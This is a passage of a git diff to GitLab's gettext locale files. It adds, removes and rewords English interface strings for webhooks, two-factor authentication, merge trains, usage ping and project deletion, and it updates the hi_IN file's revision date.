-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23790,6 +24443,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23838,6 +24494,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23850,6 +24509,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24035,6 +24697,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -24105,9 +24773,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24144,9 +24809,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -24154,7 +24816,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24181,6 +24843,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24211,6 +24876,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24265,6 +24933,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24368,13 +25042,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24413,6 +25087,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24530,6 +25207,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24605,12 +25285,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24623,6 +25306,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24773,19 +25459,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24809,6 +25495,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24839,7 +25528,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25013,9 +25702,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25178,15 +25864,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25247,6 +25933,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25624,9 +26313,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25711,9 +26397,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25735,9 +26427,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25798,6 +26487,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25942,6 +26634,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26011,9 +26706,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26029,10 +26733,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26215,7 +26931,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26305,6 +27021,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26386,9 +27105,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26404,7 +27120,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26479,7 +27195,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26569,9 +27285,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26623,9 +27336,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26869,9 +27579,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26905,6 +27621,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26941,6 +27660,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26983,6 +27705,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27189,6 +27917,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27252,9 +27983,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27396,7 +28124,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27441,6 +28169,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27462,21 +28274,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27486,6 +28298,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27805,10 +28620,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27817,6 +28632,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27826,6 +28647,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27862,9 +28686,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27898,13 +28719,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27988,10 +28809,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28204,6 +29025,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28279,7 +29103,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28396,6 +29220,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28526,6 +29353,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28830,12 +29660,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28998,6 +29822,13 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "group"
msgstr ""
@@ -29043,9 +29874,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29089,6 +29917,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29240,9 +30071,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29255,6 +30092,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29327,9 +30167,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29363,12 +30200,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29450,19 +30281,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29682,6 +30513,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29728,9 +30562,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29848,6 +30679,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29866,6 +30700,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29929,6 +30766,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/hi_IN/gitlab.po b/locale/hi_IN/gitlab.po
index 4cfbb7d0a2f..bc24877a3b1 100644
--- a/locale/hi_IN/gitlab.po
+++ b/locale/hi_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:39\n"
+"PO-Revision-Date: 2020-09-04 23:03\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
